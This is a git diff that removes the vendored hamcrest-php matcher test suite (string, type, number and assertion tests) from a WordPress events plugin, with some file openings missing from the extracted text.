"bar"', $this->_resultMatcher); - } - - public function testMismatchesPartOfAnObject() - { - $this->assertMismatchDescription( - 'result was "foo"', - $this->_resultMatcher, - new \Hamcrest\Thingy('foo') - ); - } - - public function testDoesNotGenerateNoticesForNull() - { - $this->assertMismatchDescription('result was null', $this->_resultMatcher, null); - } - - // -- Creation Methods - - private function _resultMatcher() - { - return new \Hamcrest\ResultMatcher(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/InvokedMatcherTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/InvokedMatcherTest.php deleted file mode 100644 index dfa77006..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/InvokedMatcherTest.php +++ /dev/null @@ -1,31 +0,0 @@ -matchAgainst = $matchAgainst; - } - - public function matches($item) - { - return $item == $this->matchAgainst; - } - -} - -class InvokedMatcherTest extends TestCase -{ - public function testInvokedMatchersCallMatches() - { - $sampleMatcher = new SampleInvokeMatcher('foo'); - - $this->assertTrue($sampleMatcher('foo')); - $this->assertFalse($sampleMatcher('bar')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/MatcherAssertTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/MatcherAssertTest.php deleted file mode 100644 index dc12fba5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/MatcherAssertTest.php +++ /dev/null @@ -1,192 +0,0 @@ -getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat(null); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat(''); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat(0); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat(0.0); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat(array()); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('', $ex->getMessage()); - } - self::assertEquals(6, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - - public function testAssertThatWithIdentifierAndTrueArgPasses() - { - \Hamcrest\MatcherAssert::assertThat('identifier', true); - \Hamcrest\MatcherAssert::assertThat('identifier', 'non-empty'); - \Hamcrest\MatcherAssert::assertThat('identifier', 1); - \Hamcrest\MatcherAssert::assertThat('identifier', 3.14159); - \Hamcrest\MatcherAssert::assertThat('identifier', array(true)); - self::assertEquals(5, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - - public function testAssertThatWithIdentifierAndFalseArgFails() - { - try { - \Hamcrest\MatcherAssert::assertThat('identifier', false); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('identifier', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat('identifier', null); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('identifier', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat('identifier', ''); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('identifier', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat('identifier', 0); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('identifier', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat('identifier', 0.0); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('identifier', $ex->getMessage()); - } - try { - \Hamcrest\MatcherAssert::assertThat('identifier', array()); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals('identifier', $ex->getMessage()); - } - self::assertEquals(6, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - - public function testAssertThatWithActualValueAndMatcherArgsThatMatchPasses() - { - \Hamcrest\MatcherAssert::assertThat(true, is(true)); - self::assertEquals(1, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - - public function testAssertThatWithActualValueAndMatcherArgsThatDontMatchFails() - { - $expected = 'expected'; - $actual = 'actual'; - - $expectedMessage = - 'Expected: "expected"' . PHP_EOL . - ' but: was "actual"'; - - try { - \Hamcrest\MatcherAssert::assertThat($actual, equalTo($expected)); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals($expectedMessage, $ex->getMessage()); - self::assertEquals(1, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - } - - public function testAssertThatWithIdentifierAndActualValueAndMatcherArgsThatMatchPasses() - { - \Hamcrest\MatcherAssert::assertThat('identifier', true, is(true)); - self::assertEquals(1, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - - public function testAssertThatWithIdentifierAndActualValueAndMatcherArgsThatDontMatchFails() - { - $expected = 'expected'; - $actual = 'actual'; - - $expectedMessage = - 'identifier' . PHP_EOL . - 'Expected: "expected"' . PHP_EOL . - ' but: was "actual"'; - - try { - \Hamcrest\MatcherAssert::assertThat('identifier', $actual, equalTo($expected)); - self::fail('expected assertion failure'); - } catch (\Hamcrest\AssertionError $ex) { - self::assertEquals($expectedMessage, $ex->getMessage()); - self::assertEquals(1, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - } - - public function testAssertThatWithNoArgsThrowsErrorAndDoesntIncrementCount() - { - try { - \Hamcrest\MatcherAssert::assertThat(); - self::fail('expected invalid argument exception'); - } catch (\InvalidArgumentException $ex) { - self::assertEquals(0, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - } - - public function testAssertThatWithFourArgsThrowsErrorAndDoesntIncrementCount() - { - try { - \Hamcrest\MatcherAssert::assertThat(1, 2, 3, 4); - self::fail('expected invalid argument exception'); - } catch (\InvalidArgumentException $ex) { - self::assertEquals(0, \Hamcrest\MatcherAssert::getCount(), 'assertion count'); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/IsCloseToTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/IsCloseToTest.php deleted file mode 100644 index 987d5526..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/IsCloseToTest.php +++ /dev/null @@ -1,27 +0,0 @@ -assertTrue($p->matches(1.0)); - $this->assertTrue($p->matches(0.5)); - $this->assertTrue($p->matches(1.5)); - - $this->assertDoesNotMatch($p, 2.0, 'too large'); - $this->assertMismatchDescription('<2F> differed by <0.5F>', $p, 2.0); - $this->assertDoesNotMatch($p, 0.0, 'number too small'); - $this->assertMismatchDescription('<0F> differed by <0.5F>', $p, 0.0); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/OrderingComparisonTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/OrderingComparisonTest.php deleted file mode 100644 index a4c94d37..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/OrderingComparisonTest.php +++ /dev/null @@ -1,41 +0,0 @@ -_text = $text; - } - - public function describeTo(\Hamcrest\Description $description) - { - $description->appendText($this->_text); - } -} - -class StringDescriptionTest extends TestCase -{ - - private $_description; - - protected function setUp() - { - $this->_description = new \Hamcrest\StringDescription(); - } - - public function testAppendTextAppendsTextInformation() - { - $this->_description->appendText('foo')->appendText('bar'); - $this->assertEquals('foobar', (string) $this->_description); - } - - public function testAppendValueCanAppendTextTypes() - { - $this->_description->appendValue('foo'); - $this->assertEquals('"foo"', (string) $this->_description); - } - - public function testSpecialCharactersAreEscapedForStringTypes() - { - $this->_description->appendValue("foo\\bar\"zip\r\n"); - $this->assertEquals('"foo\\bar\\"zip\r\n"', (string) $this->_description); - } - - public function testIntegerValuesCanBeAppended() - { - $this->_description->appendValue(42); - $this->assertEquals('<42>', (string) $this->_description); - } - - public function testFloatValuesCanBeAppended() - { - $this->_description->appendValue(42.78); - $this->assertEquals('<42.78F>', (string) $this->_description); - } - - public function testNullValuesCanBeAppended() - { - $this->_description->appendValue(null); - $this->assertEquals('null', (string) $this->_description); - } - - public function testArraysCanBeAppended() - { - $this->_description->appendValue(array('foo', 42.78)); - $this->assertEquals('["foo", <42.78F>]', (string) $this->_description); - } - - public function testObjectsCanBeAppended() - { - $this->_description->appendValue(new \stdClass()); - $this->assertEquals('', (string) $this->_description); - } - - public function testBooleanValuesCanBeAppended() - { - $this->_description->appendValue(false); - $this->assertEquals('', (string) $this->_description); - } - - public function testListsOfvaluesCanBeAppended() - { - $this->_description->appendValue(array('foo', 42.78)); - $this->assertEquals('["foo", <42.78F>]', (string) $this->_description); - } - - public function testIterableOfvaluesCanBeAppended() - { - $items = new \ArrayObject(array('foo', 42.78)); - $this->_description->appendValue($items); - $this->assertEquals('["foo", <42.78F>]', (string) $this->_description); - } - - public function testIteratorOfvaluesCanBeAppended() - { - $items = new \ArrayObject(array('foo', 42.78)); - $this->_description->appendValue($items->getIterator()); - $this->assertEquals('["foo", <42.78F>]', (string) $this->_description); - } - - public function testListsOfvaluesCanBeAppendedManually() - { - $this->_description->appendValueList('@start@', '@sep@ ', '@end@', array('foo', 42.78)); - $this->assertEquals('@start@"foo"@sep@ <42.78F>@end@', (string) $this->_description); - } - - public function testIterableOfvaluesCanBeAppendedManually() - { - $items = new \ArrayObject(array('foo', 42.78)); - $this->_description->appendValueList('@start@', '@sep@ ', '@end@', $items); - $this->assertEquals('@start@"foo"@sep@ <42.78F>@end@', (string) $this->_description); - } - - public function testIteratorOfvaluesCanBeAppendedManually() - { - $items = new \ArrayObject(array('foo', 42.78)); - $this->_description->appendValueList('@start@', '@sep@ ', '@end@', $items->getIterator()); - $this->assertEquals('@start@"foo"@sep@ <42.78F>@end@', (string) $this->_description); - } - - public function testSelfDescribingObjectsCanBeAppended() - { - $this->_description - ->appendDescriptionOf(new \Hamcrest\SampleSelfDescriber('foo')) - ->appendDescriptionOf(new \Hamcrest\SampleSelfDescriber('bar')) - ; - $this->assertEquals('foobar', (string) $this->_description); - } - - public function testSelfDescribingObjectsCanBeAppendedAsLists() - { - $this->_description->appendList('@start@', '@sep@ ', '@end@', array( - new \Hamcrest\SampleSelfDescriber('foo'), - new \Hamcrest\SampleSelfDescriber('bar') - )); - $this->assertEquals('@start@foo@sep@ bar@end@', (string) $this->_description); - } - - public function testSelfDescribingObjectsCanBeAppendedAsIteratedLists() - { - $items = new \ArrayObject(array( - new \Hamcrest\SampleSelfDescriber('foo'), - new \Hamcrest\SampleSelfDescriber('bar') - )); - $this->_description->appendList('@start@', '@sep@ ', '@end@', $items); - $this->assertEquals('@start@foo@sep@ bar@end@', (string) $this->_description); - } - - public function testSelfDescribingObjectsCanBeAppendedAsIterators() - { - $items = new \ArrayObject(array( - new \Hamcrest\SampleSelfDescriber('foo'), - new \Hamcrest\SampleSelfDescriber('bar') - )); - $this->_description->appendList('@start@', '@sep@ ', '@end@', $items->getIterator()); - $this->assertEquals('@start@foo@sep@ bar@end@', (string) $this->_description); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEmptyStringTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEmptyStringTest.php deleted file mode 100644 index 8d5c56be..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEmptyStringTest.php +++ /dev/null @@ -1,86 +0,0 @@ -assertDoesNotMatch(emptyString(), null, 'null'); - } - - public function testEmptyDoesNotMatchZero() - { - $this->assertDoesNotMatch(emptyString(), 0, 'zero'); - } - - public function testEmptyDoesNotMatchFalse() - { - $this->assertDoesNotMatch(emptyString(), false, 'false'); - } - - public function testEmptyDoesNotMatchEmptyArray() - { - $this->assertDoesNotMatch(emptyString(), array(), 'empty array'); - } - - public function testEmptyMatchesEmptyString() - { - $this->assertMatches(emptyString(), '', 'empty string'); - } - - public function testEmptyDoesNotMatchNonEmptyString() - { - $this->assertDoesNotMatch(emptyString(), 'foo', 'non-empty string'); - } - - public function testEmptyHasAReadableDescription() - { - $this->assertDescription('an empty string', emptyString()); - } - - public function testEmptyOrNullMatchesNull() - { - $this->assertMatches(nullOrEmptyString(), null, 'null'); - } - - public function testEmptyOrNullMatchesEmptyString() - { - $this->assertMatches(nullOrEmptyString(), '', 'empty string'); - } - - public function testEmptyOrNullDoesNotMatchNonEmptyString() - { - $this->assertDoesNotMatch(nullOrEmptyString(), 'foo', 'non-empty string'); - } - - public function testEmptyOrNullHasAReadableDescription() - { - $this->assertDescription('(null or an empty string)', nullOrEmptyString()); - } - - public function testNonEmptyDoesNotMatchNull() - { - $this->assertDoesNotMatch(nonEmptyString(), null, 'null'); - } - - public function testNonEmptyDoesNotMatchEmptyString() - { - $this->assertDoesNotMatch(nonEmptyString(), '', 'empty string'); - } - - public function testNonEmptyMatchesNonEmptyString() - { - $this->assertMatches(nonEmptyString(), 'foo', 'non-empty string'); - } - - public function testNonEmptyHasAReadableDescription() - { - $this->assertDescription('a non-empty string', nonEmptyString()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringCaseTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringCaseTest.php deleted file mode 100644 index 0539fd5c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringCaseTest.php +++ /dev/null @@ -1,40 +0,0 @@ -assertDescription( - 'equalToIgnoringCase("heLLo")', - equalToIgnoringCase('heLLo') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringWhiteSpaceTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringWhiteSpaceTest.php deleted file mode 100644 index 27ad338b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringWhiteSpaceTest.php +++ /dev/null @@ -1,51 +0,0 @@ -_matcher = \Hamcrest\Text\IsEqualIgnoringWhiteSpace::equalToIgnoringWhiteSpace( - "Hello World how\n are we? " - ); - } - - protected function createMatcher() - { - return $this->_matcher; - } - - public function testPassesIfWordsAreSameButWhitespaceDiffers() - { - assertThat('Hello World how are we?', $this->_matcher); - assertThat(" Hello \rWorld \t how are\nwe?", $this->_matcher); - } - - public function testFailsIfTextOtherThanWhitespaceDiffers() - { - assertThat('Hello PLANET how are we?', not($this->_matcher)); - assertThat('Hello World how are we', not($this->_matcher)); - } - - public function testFailsIfWhitespaceIsAddedOrRemovedInMidWord() - { - assertThat('HelloWorld how are we?', not($this->_matcher)); - assertThat('Hello Wo rld how are we?', not($this->_matcher)); - } - - public function testFailsIfMatchingAgainstNull() - { - assertThat(null, not($this->_matcher)); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - "equalToIgnoringWhiteSpace(\"Hello World how\\n are we? \")", - $this->_matcher - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/MatchesPatternTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/MatchesPatternTest.php deleted file mode 100644 index 4891598f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/MatchesPatternTest.php +++ /dev/null @@ -1,30 +0,0 @@ -assertDescription('a string matching "pattern"', matchesPattern('pattern')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsIgnoringCaseTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsIgnoringCaseTest.php deleted file mode 100644 index 73023007..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsIgnoringCaseTest.php +++ /dev/null @@ -1,80 +0,0 @@ -_stringContains = \Hamcrest\Text\StringContainsIgnoringCase::containsStringIgnoringCase( - strtolower(self::EXCERPT) - ); - } - - protected function createMatcher() - { - return $this->_stringContains; - } - - public function testEvaluatesToTrueIfArgumentContainsSpecifiedSubstring() - { - $this->assertTrue( - $this->_stringContains->matches(self::EXCERPT . 'END'), - 'should be true if excerpt at beginning' - ); - $this->assertTrue( - $this->_stringContains->matches('START' . self::EXCERPT), - 'should be true if excerpt at end' - ); - $this->assertTrue( - $this->_stringContains->matches('START' . self::EXCERPT . 'END'), - 'should be true if excerpt in middle' - ); - $this->assertTrue( - $this->_stringContains->matches(self::EXCERPT . self::EXCERPT), - 'should be true if excerpt is repeated' - ); - - $this->assertFalse( - $this->_stringContains->matches('Something else'), - 'should not be true if excerpt is not in string' - ); - $this->assertFalse( - $this->_stringContains->matches(substr(self::EXCERPT, 1)), - 'should not be true if part of excerpt is in string' - ); - } - - public function testEvaluatesToTrueIfArgumentIsEqualToSubstring() - { - $this->assertTrue( - $this->_stringContains->matches(self::EXCERPT), - 'should be true if excerpt is entire string' - ); - } - - public function testEvaluatesToTrueIfArgumentContainsExactSubstring() - { - $this->assertTrue( - $this->_stringContains->matches(strtolower(self::EXCERPT)), - 'should be false if excerpt is entire string ignoring case' - ); - $this->assertTrue( - $this->_stringContains->matches('START' . strtolower(self::EXCERPT) . 'END'), - 'should be false if excerpt is contained in string ignoring case' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - 'a string containing in any case "' - . strtolower(self::EXCERPT) . '"', - $this->_stringContains - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsInOrderTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsInOrderTest.php deleted file mode 100644 index 4c465b29..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsInOrderTest.php +++ /dev/null @@ -1,42 +0,0 @@ -_m = \Hamcrest\Text\StringContainsInOrder::stringContainsInOrder(array('a', 'b', 'c')); - } - - protected function createMatcher() - { - return $this->_m; - } - - public function testMatchesOnlyIfStringContainsGivenSubstringsInTheSameOrder() - { - $this->assertMatches($this->_m, 'abc', 'substrings in order'); - $this->assertMatches($this->_m, '1a2b3c4', 'substrings separated'); - - $this->assertDoesNotMatch($this->_m, 'cab', 'substrings out of order'); - $this->assertDoesNotMatch($this->_m, 'xyz', 'no substrings in string'); - $this->assertDoesNotMatch($this->_m, 'ac', 'substring missing'); - $this->assertDoesNotMatch($this->_m, '', 'empty string'); - } - - public function testAcceptsVariableArguments() - { - $this->assertMatches(stringContainsInOrder('a', 'b', 'c'), 'abc', 'substrings as variable arguments'); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - 'a string containing "a", "b", "c" in order', - $this->_m - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsTest.php deleted file mode 100644 index bf4afa3c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsTest.php +++ /dev/null @@ -1,86 +0,0 @@ -_stringContains = \Hamcrest\Text\StringContains::containsString(self::EXCERPT); - } - - protected function createMatcher() - { - return $this->_stringContains; - } - - public function testEvaluatesToTrueIfArgumentContainsSubstring() - { - $this->assertTrue( - $this->_stringContains->matches(self::EXCERPT . 'END'), - 'should be true if excerpt at beginning' - ); - $this->assertTrue( - $this->_stringContains->matches('START' . self::EXCERPT), - 'should be true if excerpt at end' - ); - $this->assertTrue( - $this->_stringContains->matches('START' . self::EXCERPT . 'END'), - 'should be true if excerpt in middle' - ); - $this->assertTrue( - $this->_stringContains->matches(self::EXCERPT . self::EXCERPT), - 'should be true if excerpt is repeated' - ); - - $this->assertFalse( - $this->_stringContains->matches('Something else'), - 'should not be true if excerpt is not in string' - ); - $this->assertFalse( - $this->_stringContains->matches(substr(self::EXCERPT, 1)), - 'should not be true if part of excerpt is in string' - ); - } - - public function testEvaluatesToTrueIfArgumentIsEqualToSubstring() - { - $this->assertTrue( - $this->_stringContains->matches(self::EXCERPT), - 'should be true if excerpt is entire string' - ); - } - - public function testEvaluatesToFalseIfArgumentContainsSubstringIgnoringCase() - { - $this->assertFalse( - $this->_stringContains->matches(strtolower(self::EXCERPT)), - 'should be false if excerpt is entire string ignoring case' - ); - $this->assertFalse( - $this->_stringContains->matches('START' . strtolower(self::EXCERPT) . 'END'), - 'should be false if excerpt is contained in string ignoring case' - ); - } - - public function testIgnoringCaseReturnsCorrectMatcher() - { - $this->assertTrue( - $this->_stringContains->ignoringCase()->matches('EXceRpT'), - 'should be true if excerpt is entire string ignoring case' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - 'a string containing "' - . self::EXCERPT . '"', - $this->_stringContains - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringEndsWithTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringEndsWithTest.php deleted file mode 100644 index 9a30f952..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringEndsWithTest.php +++ /dev/null @@ -1,62 +0,0 @@ -_stringEndsWith = \Hamcrest\Text\StringEndsWith::endsWith(self::EXCERPT); - } - - protected function createMatcher() - { - return $this->_stringEndsWith; - } - - public function testEvaluatesToTrueIfArgumentContainsSpecifiedSubstring() - { - $this->assertFalse( - $this->_stringEndsWith->matches(self::EXCERPT . 'END'), - 'should be false if excerpt at beginning' - ); - $this->assertTrue( - $this->_stringEndsWith->matches('START' . self::EXCERPT), - 'should be true if excerpt at end' - ); - $this->assertFalse( - $this->_stringEndsWith->matches('START' . self::EXCERPT . 'END'), - 'should be false if excerpt in middle' - ); - $this->assertTrue( - $this->_stringEndsWith->matches(self::EXCERPT . self::EXCERPT), - 'should be true if excerpt is at end and repeated' - ); - - $this->assertFalse( - $this->_stringEndsWith->matches('Something else'), - 'should be false if excerpt is not in string' - ); - $this->assertFalse( - $this->_stringEndsWith->matches(substr(self::EXCERPT, 0, strlen(self::EXCERPT) - 2)), - 'should be false if part of excerpt is at end of string' - ); - } - - public function testEvaluatesToTrueIfArgumentIsEqualToSubstring() - { - $this->assertTrue( - $this->_stringEndsWith->matches(self::EXCERPT), - 'should be true if excerpt is entire string' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('a string ending with "EXCERPT"', $this->_stringEndsWith); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringStartsWithTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringStartsWithTest.php deleted file mode 100644 index 3be201f1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringStartsWithTest.php +++ /dev/null @@ -1,62 +0,0 @@ -_stringStartsWith = \Hamcrest\Text\StringStartsWith::startsWith(self::EXCERPT); - } - - protected function createMatcher() - { - return $this->_stringStartsWith; - } - - public function testEvaluatesToTrueIfArgumentContainsSpecifiedSubstring() - { - $this->assertTrue( - $this->_stringStartsWith->matches(self::EXCERPT . 'END'), - 'should be true if excerpt at beginning' - ); - $this->assertFalse( - $this->_stringStartsWith->matches('START' . self::EXCERPT), - 'should be false if excerpt at end' - ); - $this->assertFalse( - $this->_stringStartsWith->matches('START' . self::EXCERPT . 'END'), - 'should be false if excerpt in middle' - ); - $this->assertTrue( - $this->_stringStartsWith->matches(self::EXCERPT . self::EXCERPT), - 'should be true if excerpt is at beginning and repeated' - ); - - $this->assertFalse( - $this->_stringStartsWith->matches('Something else'), - 'should be false if excerpt is not in string' - ); - $this->assertFalse( - $this->_stringStartsWith->matches(substr(self::EXCERPT, 1)), - 'should be false if part of excerpt is at start of string' - ); - } - - public function testEvaluatesToTrueIfArgumentIsEqualToSubstring() - { - $this->assertTrue( - $this->_stringStartsWith->matches(self::EXCERPT), - 'should be true if excerpt is entire string' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('a string starting with "EXCERPT"', $this->_stringStartsWith); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsArrayTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsArrayTest.php deleted file mode 100644 index d13c24d2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsArrayTest.php +++ /dev/null @@ -1,35 +0,0 @@ -assertDescription('an array', arrayValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', arrayValue(), null); - $this->assertMismatchDescription('was a string "foo"', arrayValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsBooleanTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsBooleanTest.php deleted file mode 100644 index 24309fc0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsBooleanTest.php +++ /dev/null @@ -1,35 +0,0 @@ -assertDescription('a boolean', booleanValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', booleanValue(), null); - $this->assertMismatchDescription('was a string "foo"', booleanValue(), 'foo'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsCallableTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsCallableTest.php deleted file mode 100644 index 5098e21b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsCallableTest.php +++ /dev/null @@ -1,103 +0,0 @@ -=')) { - $this->markTestSkipped('Closures require php 5.3'); - } - eval('assertThat(function () {}, callableValue());'); - } - - public function testEvaluatesToTrueIfArgumentImplementsInvoke() - { - if (!version_compare(PHP_VERSION, '5.3', '>=')) { - $this->markTestSkipped('Magic method __invoke() requires php 5.3'); - } - assertThat($this, callableValue()); - } - - public function testEvaluatesToFalseIfArgumentIsInvalidFunctionName() - { - if (function_exists('not_a_Hamcrest_function')) { - $this->markTestSkipped('Function "not_a_Hamcrest_function" must not exist'); - } - - assertThat('not_a_Hamcrest_function', not(callableValue())); - } - - public function testEvaluatesToFalseIfArgumentIsInvalidStaticMethodCallback() - { - assertThat( - array('Hamcrest\Type\IsCallableTest', 'noMethod'), - not(callableValue()) - ); - } - - public function testEvaluatesToFalseIfArgumentIsInvalidInstanceMethodCallback() - { - assertThat(array($this, 'noMethod'), not(callableValue())); - } - - public function testEvaluatesToFalseIfArgumentDoesntImplementInvoke() - { - assertThat(new \stdClass(), not(callableValue())); - } - - public function testEvaluatesToFalseIfArgumentDoesntMatchType() - { - assertThat(false, not(callableValue())); - assertThat(5.2, not(callableValue())); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('a callable', callableValue()); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription( - 'was a string "invalid-function"', - callableValue(), - 